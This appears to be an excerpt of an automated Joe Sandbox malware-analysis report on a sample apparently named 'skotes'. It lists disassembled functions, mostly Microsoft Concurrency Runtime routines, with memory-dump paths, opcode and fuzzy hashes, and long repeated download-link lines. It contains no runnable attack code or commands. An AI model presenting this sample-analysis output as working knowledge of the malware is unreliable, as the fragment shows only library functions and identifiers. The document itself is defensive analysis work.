Part of subcall function 00B92E0F: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 00B92EA8

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 00B91746
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 00B917A6
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 00B917B2
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 00B917ED
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 00B9180E
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 00B9181A
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 00B91823
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 00B9183B

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction ID: a1f1e9cd8fd441dd77fce812c41ec19aad8e0d80d3484b50d6a2f50f5a84bbd2
Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction Fuzzy Hash: F7814971E00626AFCF19DFA8C580A6DB7F1FF48304B254AADD445A7701C770AD52DB84

Function 00B9EC48 Relevance: 6.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00B9EC81

Part of subcall function 00B98F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00B98F50

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00B9ECE7
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 00B9ECFF
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 00B9ED0C

Part of subcall function 00B9E7AF: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 00B9E7D7
Part of subcall function 00B9E7AF: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 00B9E86F
Part of subcall function 00B9E7AF: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 00B9E879
Part of subcall function 00B9E7AF: Concurrency::location::_Assign.LIBCMT ref: 00B9E8AD
Part of subcall function 00B9E7AF: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00B9E8B5

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID:
API String ID: 2363638799-0
Opcode ID: d49484e2fb68b4a304f7cb7b51867957bc4648671bd083acebbf3bdc3d9cc557
Instruction ID: 0a4a1c61959b8f2f176987d87269e538f664443338ee266019596281939a984d
Opcode Fuzzy Hash: d49484e2fb68b4a304f7cb7b51867957bc4648671bd083acebbf3bdc3d9cc557
Instruction Fuzzy Hash: 0A515A31A00205DBDF24EF54C895BADB7B5EF44310F1540B9E9166B3A6CB71AE05CBA1

Function 00B8CB97 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtFlushProcessWriteBuffers.NTDLL ref: 00B8CBAA

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersFlushProcessWrite
String ID:
API String ID: 2982998374-0
Opcode ID: 7edf4e69d7bcbfbcbbb29b67f9ba234f5a3947864df7f71eea03b768882064a0
Instruction ID: 7abbddb364b80097ff28fdecfb2d80c578f770e42f9845503697bc0fcb99770b
Opcode Fuzzy Hash: 7edf4e69d7bcbfbcbbb29b67f9ba234f5a3947864df7f71eea03b768882064a0
Instruction Fuzzy Hash: B5B09232A238348BCA613B14BC1899DBB54DA84A1130A4196D841AB2348E205D828BE4

Function 00B8DD91 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b40bfab62111fe6042667b889bf9bbe577248b95daaf7e2b586503f371ef274
Instruction ID: f76c8d35037ea9049fcaa2eabceb5a7405fead66d5ab8c46c5dc63b358a1da52
Opcode Fuzzy Hash: 3b40bfab62111fe6042667b889bf9bbe577248b95daaf7e2b586503f371ef274
Instruction Fuzzy Hash: 8951BEB2A02616CBDB25CF59D8917AAB7F1FB58304F2485ABC405EB2A0E774E940CF50

Function 00BA26D1 Relevance: 22.7, APIs: 15, Instructions: 231COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00BA26E3

Part of subcall function 00BA24E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00BA2504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00BA2704
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 00BA2711
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 00BA275F
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 00BA27E6
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 00BA27F9
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 00BA2846

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
